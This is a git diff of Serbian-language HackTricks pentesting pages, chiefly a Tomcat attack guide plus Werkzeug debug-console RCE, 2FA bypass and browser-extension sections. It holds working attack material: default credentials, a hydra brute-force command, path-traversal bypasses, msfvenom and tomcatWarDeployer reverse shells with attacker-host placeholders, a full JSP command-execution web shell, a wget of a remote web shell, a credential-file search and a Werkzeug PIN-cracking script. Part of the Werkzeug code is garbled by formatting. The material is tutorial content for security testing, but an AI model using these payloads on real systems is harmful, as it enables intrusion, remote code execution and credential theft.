* **Уобичајена грешка Томката:**
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
## Набрањивање
|
||||||
|
|
||||||
|
### **Идентификација верзије**
|
||||||
|
|
||||||
|
Да бисте пронашли верзију Apache Tomcat-a, може се извршити једноставна команда:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Lokacija Datoteka Menadžera**
|
||||||
|
|
||||||
|
Identifikacija tačnih lokacija **`/manager`** i **`/host-manager`** direktorijuma je ključna jer se njihova imena mogu promeniti. Preporučuje se grubo pretraživanje kako bi se locirale ove stranice.
|
||||||
|
|
||||||
|
### **Enumeracija Korisničkih Imena**
|
||||||
|
|
||||||
|
Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena kroz:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
msf> use auxiliary/scanner/http/tomcat_enum
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Podrazumevane akreditacije**
|
||||||
|
|
||||||
|
Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava otpremanje i implementaciju WAR datoteka, što može dovesti do izvršenja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a česte akreditacije su:
|
||||||
|
|
||||||
|
* admin:admin
|
||||||
|
* tomcat:tomcat
|
||||||
|
* admin:
|
||||||
|
* admin:s3cr3t
|
||||||
|
* tomcat:s3cr3t
|
||||||
|
* admin:tomcat
|
||||||
|
|
||||||
|
Ove akreditacije mogu biti testirane korišćenjem:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||||
|
```
|
||||||
|
|
||||||
|
Drugi značajan direktorijum je **`/manager/status`**, koji prikazuje verziju Tomcat-a i OS-a, pomažući u identifikaciji ranjivosti.
|
||||||
|
|
||||||
|
### **Napad grubom silom**
|
||||||
|
|
||||||
|
Za pokušaj napada grubom silom na direktorijum manager, može se koristiti:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||||
|
```
|
||||||
|
|
||||||
|
## Uobičajene ranjivosti
|
||||||
|
|
||||||
|
### **Otkrivanje lozinke putem praćenja tragova**
|
||||||
|
|
||||||
|
Pristupanje `/auth.jsp` može otkriti lozinku putem praćenja tragova u povoljnim okolnostima.
|
||||||
|
|
||||||
|
### **Dvostruko kodiranje URL adrese**
|
||||||
|
|
||||||
|
Ranjivost CVE-2007-1860 u `mod_jk` omogućava dvostruko kodiranje URL adrese za prolazak kroz putanju, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno oblikovane URL adrese.
|
||||||
|
|
||||||
|
Da biste pristupili upravljačkom vebu Tomcata, idite na: `pathTomcat/%252E%252E/manager/html`
|
||||||
|
|
||||||
|
### /primeri
|
||||||
|
|
||||||
|
Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koji su podložni otkrivanju informacija i napadima preko skripti sa preusmeravanjem preko stranica (XSS). Ove skripte, navedene detaljno, treba proveriti radi neovlašćenog pristupa i potencijalne eksploatacije. Pronađite [više informacija ovde](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||||
|
|
||||||
|
* /examples/jsp/num/numguess.jsp
|
||||||
|
* /examples/jsp/dates/date.jsp
|
||||||
|
* /examples/jsp/snp/snoop.jsp
|
||||||
|
* /examples/jsp/error/error.html
|
||||||
|
* /examples/jsp/sessions/carts.html
|
||||||
|
* /examples/jsp/checkbox/check.html
|
||||||
|
* /examples/jsp/colors/colors.html
|
||||||
|
* /examples/jsp/cal/login.html
|
||||||
|
* /examples/jsp/include/include.jsp
|
||||||
|
* /examples/jsp/forward/forward.jsp
|
||||||
|
* /examples/jsp/plugin/plugin.jsp
|
||||||
|
* /examples/jsp/jsptoserv/jsptoservlet.jsp
|
||||||
|
* /examples/jsp/simpletag/foo.jsp
|
||||||
|
* /examples/jsp/mail/sendmail.jsp
|
||||||
|
* /examples/servlet/HelloWorldExample
|
||||||
|
* /examples/servlet/RequestInfoExample
|
||||||
|
* /examples/servlet/RequestHeaderExample
|
||||||
|
* /examples/servlet/RequestParamExample
|
||||||
|
* /examples/servlet/CookieExample
|
||||||
|
* /examples/servlet/JndiServlet
|
||||||
|
* /examples/servlet/SessionExample
|
||||||
|
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||||
|
|
||||||
|
### **Eksploatacija prolaska kroz putanju**
|
||||||
|
|
||||||
|
U nekim [**ranjivim konfiguracijama Tomcata**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) možete dobiti pristup zaštićenim direktorijumima u Tomcatu koristeći putanju: `/..;/`
|
||||||
|
|
||||||
|
Na primer, možda ćete moći **pristupiti stranici upravljača Tomcata** pristupanjem: `www.vulnerable.com/lalala/..;/manager/html`
|
||||||
|
|
||||||
|
**Još jedan način** za zaobilaženje zaštićenih putanja korišćenjem ovog trika je pristup `http://www.vulnerable.com/;param=value/manager/html`
|
||||||
|
|
||||||
|
## RCE
|
||||||
|
|
||||||
|
Na kraju, ako imate pristup Upravljaču veb aplikacija Tomcata, možete **učitati i implementirati .war datoteku (izvršiti kod)**.
|
||||||
|
|
||||||
|
### Ograničenja
|
||||||
|
|
||||||
|
Moći ćete implementirati WAR datoteku samo ako imate **dovoljno privilegija** (uloge: **admin**, **manager** i **manager-script**). Te detalje možete pronaći u _tomcat-users.xml_ obično definisane u `/usr/share/tomcat9/etc/tomcat-users.xml` (varira između verzija) (vidi [POST ](./#post)odeljak).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||||
|
|
||||||
|
# deploy under "path" context path
|
||||||
|
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
|
||||||
|
|
||||||
|
# undeploy
|
||||||
|
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Metasploit
|
||||||
|
|
||||||
|
```bash
|
||||||
|
use exploit/multi/http/tomcat_mgr_upload
|
||||||
|
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||||
|
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
|
||||||
|
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
||||||
|
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||||
|
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||||
|
```
|
||||||
|
|
||||||
|
### MSFVenom Reverse Shell
|
||||||
|
|
||||||
|
1. Napravite rat za implementaciju:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Postavite fajl `revshell.war` i pristupite mu (`/revshell/`):
|
||||||
|
|
||||||
|
### Bind i reverzibilna ljuska sa [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||||
|
|
||||||
|
U nekim scenarijima ovo ne radi (na primer, starije verzije sun-a)
|
||||||
|
|
||||||
|
#### Preuzimanje
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Obrnuti shell
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Bind shell
|
||||||
|
|
||||||
|
#### Bind shell
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||||
|
```
|
||||||
|
|
||||||
|
### Korišćenje [Culsterd](https://github.com/hatRiot/clusterd)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||||
|
```
|
||||||
|
|
||||||
|
### Ručni metod - Veb šel
|
||||||
|
|
||||||
|
Kreirajte **index.jsp** sa ovim [sadržajem](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||||
|
|
||||||
|
```java
|
||||||
|
<FORM METHOD=GET ACTION='index.jsp'>
|
||||||
|
<INPUT name='cmd' type=text>
|
||||||
|
<INPUT type=submit value='Run'>
|
||||||
|
</FORM>
|
||||||
|
<%@ page import="java.io.*" %>
|
||||||
|
<%
|
||||||
|
String cmd = request.getParameter("cmd");
|
||||||
|
String output = "";
|
||||||
|
if(cmd != null) {
|
||||||
|
String s = null;
|
||||||
|
try {
|
||||||
|
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||||||
|
BufferedReader sI = new BufferedReader(new
|
||||||
|
InputStreamReader(p.getInputStream()));
|
||||||
|
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||||||
|
} catch(IOException e) { e.printStackTrace(); }
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<pre><%=output %></pre>
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mkdir webshell
|
||||||
|
cp index.jsp webshell
|
||||||
|
cd webshell
|
||||||
|
jar -cvf ../webshell.war *
|
||||||
|
webshell.war is created
|
||||||
|
# Upload it
|
||||||
|
```
|
||||||
|
|
||||||
|
### Ručni metod 2
|
||||||
|
|
||||||
|
Preuzmite JSP web ljusku poput [ove](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR fajl:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||||
|
zip -r backup.war cmd.jsp
|
||||||
|
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
||||||
|
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
||||||
|
```
|
||||||
|
|
||||||
|
## POST
|
||||||
|
|
||||||
|
Ime datoteke sa Tomcat kredencijalima je _tomcat-users.xml_
|
||||||
|
|
||||||
|
```bash
|
||||||
|
find / -name tomcat-users.xml 2>/dev/null
|
||||||
|
```
|
||||||
|
|
||||||
|
Drugi načini za prikupljanje Tomcat akreditacija:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
msf> use post/multi/gather/tomcat_gather
|
||||||
|
msf> use post/windows/gather/enum_tomcat
|
||||||
|
```
|
||||||
|
|
||||||
|
## Ostali alati za skeniranje Tomcat-a
|
||||||
|
|
||||||
|
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||||
|
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
|
@ -23,9 +23,11 @@ Drugi načini podrške HackTricks-u:
|
||||||
## Console RCE
|
## Console RCE
|
||||||
|
|
||||||
Ako je debug aktivan, možete pokušati da pristupite `/console` i steknete RCE.
|
Ako je debug aktivan, možete pokušati da pristupite `/console` i steknete RCE.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
__import__('os').popen('whoami').read();
|
__import__('os').popen('whoami').read();
|
||||||
```
|
```
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (317).png>)
|
![](<../../.gitbook/assets/image (317).png>)
|
||||||
|
|
||||||
Takođe postoje različiti eksploiti na internetu poput [ovog ](https://github.com/its-arun/Werkzeug-Debug-RCE)ili jedan u metasploit-u.
|
Takođe postoje različiti eksploiti na internetu poput [ovog ](https://github.com/its-arun/Werkzeug-Debug-RCE)ili jedan u metasploit-u.
|
||||||
|
@ -37,11 +39,13 @@ U nekim slučajevima, **`/console`** endpoint će biti zaštićen pinom. Ako ima
|
||||||
### Eksploatacija PIN-a Werkzeug konzole
|
### Eksploatacija PIN-a Werkzeug konzole
|
||||||
|
|
||||||
Prisilite grešku u debagiranju aplikacije da biste videli ovo:
|
Prisilite grešku u debagiranju aplikacije da biste videli ovo:
|
||||||
|
|
||||||
```
|
```
|
||||||
The console is locked and needs to be unlocked by entering the PIN.
|
The console is locked and needs to be unlocked by entering the PIN.
|
||||||
You can find the PIN printed out on the standard output of your
|
You can find the PIN printed out on the standard output of your
|
||||||
shell that runs the server
|
shell that runs the server
|
||||||
```
|
```
|
||||||
|
|
||||||
Poruka u vezi sa scenarijem "zaključane konzole" se pojavljuje prilikom pokušaja pristupa Werkzeug-ovom debug interfejsu, ukazujući na potrebu za PIN-om kako bi se otključala konzola. Predlog je da se iskoristi PIN konzole analiziranjem algoritma generisanja PIN-a u Werkzeug-ovom debug inicijalizacijskom fajlu (`__init__.py`). Mekanizam generisanja PIN-a može se proučiti iz [**Werkzeug izvornog koda na repozitorijumu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se preporučuje da se stvarni serverski kod nabavi putem ranjivosti prolaska kroz fajlove zbog mogućih razlika u verzijama.
|
Poruka u vezi sa scenarijem "zaključane konzole" se pojavljuje prilikom pokušaja pristupa Werkzeug-ovom debug interfejsu, ukazujući na potrebu za PIN-om kako bi se otključala konzola. Predlog je da se iskoristi PIN konzole analiziranjem algoritma generisanja PIN-a u Werkzeug-ovom debug inicijalizacijskom fajlu (`__init__.py`). Mekanizam generisanja PIN-a može se proučiti iz [**Werkzeug izvornog koda na repozitorijumu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se preporučuje da se stvarni serverski kod nabavi putem ranjivosti prolaska kroz fajlove zbog mogućih razlika u verzijama.
|
||||||
|
|
||||||
Za iskorišćavanje PIN-a konzole, potrebna su dva skupa promenljivih, `probably_public_bits` i `private_bits`:
|
Za iskorišćavanje PIN-a konzole, potrebna su dva skupa promenljivih, `probably_public_bits` i `private_bits`:
|
||||||
|
@ -64,48 +68,40 @@ Za iskorišćavanje PIN-a konzole, potrebna su dva skupa promenljivih, `probably
|
||||||
>>> print(0x5600027a23ac)
|
>>> print(0x5600027a23ac)
|
||||||
94558041547692
|
94558041547692
|
||||||
```
|
```
|
||||||
|
|
||||||
* **`get_machine_id()`**: Spaja podatke iz `/etc/machine-id` ili `/proc/sys/kernel/random/boot_id` sa prvom linijom `/proc/self/cgroup` nakon poslednje kosine (`/`).
|
* **`get_machine_id()`**: Spaja podatke iz `/etc/machine-id` ili `/proc/sys/kernel/random/boot_id` sa prvom linijom `/proc/self/cgroup` nakon poslednje kosine (`/`).
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Kod za `get_machine_id()`</summary>
|
<summary>Kod za `get_machine_id()`</summary>
|
||||||
```python
|
|
||||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
|
||||||
global _machine_id
|
|
||||||
|
|
||||||
if _machine_id is not None:
|
\`\`\`python def get\_machine\_id() -> t.Optional\[t.Union\[str, bytes]]: global \_machine\_id
|
||||||
return _machine_id
|
|
||||||
|
|
||||||
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
if \_machine\_id is not None: return \_machine\_id
|
||||||
linux = b""
|
|
||||||
|
def \_generate() -> t.Optional\[t.Union\[str, bytes]]: linux = b""
|
||||||
|
|
||||||
|
## machine-id is stable across boots, boot\_id is not.
|
||||||
|
|
||||||
|
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot\_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
|
||||||
|
|
||||||
|
if value: linux += value break
|
||||||
|
|
||||||
|
## Containers share the same machine id, add some cgroup
|
||||||
|
|
||||||
|
## information. This is used outside containers too but should be
|
||||||
|
|
||||||
|
## relatively stable across boots.
|
||||||
|
|
||||||
|
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")\[2] except OSError: pass
|
||||||
|
|
||||||
|
if linux: return linux
|
||||||
|
|
||||||
|
## On OS X, use ioreg to get the computer's serial number.
|
||||||
|
|
||||||
# machine-id is stable across boots, boot_id is not.
|
|
||||||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
|
||||||
try:
|
try:
|
||||||
with open(filename, "rb") as f:
|
|
||||||
value = f.readline().strip()
|
|
||||||
except OSError:
|
|
||||||
continue
|
|
||||||
|
|
||||||
if value:
|
````
|
||||||
linux += value
|
|
||||||
break
|
|
||||||
|
|
||||||
# Containers share the same machine id, add some cgroup
|
|
||||||
# information. This is used outside containers too but should be
|
|
||||||
# relatively stable across boots.
|
|
||||||
try:
|
|
||||||
with open("/proc/self/cgroup", "rb") as f:
|
|
||||||
linux += f.readline().strip().rpartition(b"/")[2]
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if linux:
|
|
||||||
return linux
|
|
||||||
|
|
||||||
# On OS X, use ioreg to get the computer's serial number.
|
|
||||||
try:
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Nakon prikupljanja svih potrebnih podataka, eksploatacijski skript može biti izvršen kako bi generisao Werkzeug konzolni PIN. Skript koristi sastavljene `probably_public_bits` i `private_bits` kako bi kreirao heš, koji zatim prolazi kroz dodatnu obradu kako bi se generisao konačni PIN. U nastavku je Python kod za izvršavanje ovog procesa:
|
Nakon prikupljanja svih potrebnih podataka, eksploatacijski skript može biti izvršen kako bi generisao Werkzeug konzolni PIN. Skript koristi sastavljene `probably_public_bits` i `private_bits` kako bi kreirao heš, koji zatim prolazi kroz dodatnu obradu kako bi se generisao konačni PIN. U nastavku je Python kod za izvršavanje ovog procesa:
|
||||||
|
@ -153,34 +149,19 @@ else:
|
||||||
rv = num
|
rv = num
|
||||||
|
|
||||||
print(rv)
|
print(rv)
|
||||||
```
|
````
|
||||||
|
|
||||||
Ovaj skript generiše PIN tako što hešira konkatenirane bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da stvarne vrednosti za `probably_public_bits` i `private_bits` treba tačno dobiti sa ciljnog sistema kako bi generisani PIN odgovarao očekivanom od strane Werkzeug konzole.
|
Ovaj skript generiše PIN tako što hešira konkatenirane bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da stvarne vrednosti za `probably_public_bits` i `private_bits` treba tačno dobiti sa ciljnog sistema kako bi generisani PIN odgovarao očekivanom od strane Werkzeug konzole.
|
||||||
|
|
||||||
{% hint style="success" %}
|
|
||||||
Ako koristite **staru verziju** Werkzuga, pokušajte promeniti **algoritam heširanja u md5** umesto sha1.
|
Ako koristite **staru verziju** Werkzuga, pokušajte promeniti **algoritam heširanja u md5** umesto sha1.
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
## Reference
|
### Reference
|
||||||
|
|
||||||
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||||||
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju školjke i zabavljaju se.
|
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju školjke i zabavljaju se.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
|
||||||
|
|
||||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Bypass 2FA/OTP
|
# 2FA/OTP Bypass
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -127,9 +127,14 @@ Proces koji demonstrira potencijalnu metodu za zaobilaženje uključuje kreiranj
|
||||||
Korišćenje lažnih zahteva za prikrivanje napada brute force ili obmanjivanje mehanizama ograničenja brzine dodaje još jedan sloj strategijama za zaobilaženje. Izrada takvih zahteva zahteva suptilno razumevanje sigurnosnih mera i ponašanja ograničenja brzine aplikacije.
|
Korišćenje lažnih zahteva za prikrivanje napada brute force ili obmanjivanje mehanizama ograničenja brzine dodaje još jedan sloj strategijama za zaobilaženje. Izrada takvih zahteva zahteva suptilno razumevanje sigurnosnih mera i ponašanja ograničenja brzine aplikacije.
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35]("https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35")
|
|
||||||
|
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
|
||||||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong></summary>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Metodologija testiranja bezbednosti proširenja pregledača
|
# Browser Extension Pentesting Methodology
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -51,6 +51,7 @@ Pored toga, skripte sadržaja su odvojene od svojih povezanih veb stranica **izv
|
||||||
Chrome proširenje je samo ZIP folder sa [.crx ekstenzijom fajla](https://www.lifewire.com/crx-file-2620391). Jezgro proširenja je **`manifest.json`** fajl u korenu foldera, koji specificira dizajn, dozvole i druge konfiguracione opcije.
|
Chrome proširenje je samo ZIP folder sa [.crx ekstenzijom fajla](https://www.lifewire.com/crx-file-2620391). Jezgro proširenja je **`manifest.json`** fajl u korenu foldera, koji specificira dizajn, dozvole i druge konfiguracione opcije.
|
||||||
|
|
||||||
Primer:
|
Primer:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"manifest_version": 2,
|
"manifest_version": 2,
|
||||||
|
@ -81,9 +82,11 @@ Primer:
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### `content_scripts`
|
### `content_scripts`
|
||||||
|
|
||||||
Content skripte se **učitavaju** svaki put kada korisnik **navigira na odgovarajuću stranicu**, u našem slučaju bilo koju stranicu koja se podudara sa izrazom **`https://example.com/*`** i ne podudara se sa **`*://*/*/business*`** regexom. Oni se izvršavaju **kao skripte same stranice** i imaju proizvoljan pristup [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) stranice.
|
Content skripte se **učitavaju** svaki put kada korisnik **navigira na odgovarajuću stranicu**, u našem slučaju bilo koju stranicu koja se podudara sa izrazom **`https://example.com/*`** i ne podudara se sa **`*://*/*/business*`** regexom. Oni se izvršavaju **kao skripte same stranice** i imaju proizvoljan pristup [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) stranice.
|
||||||
|
|
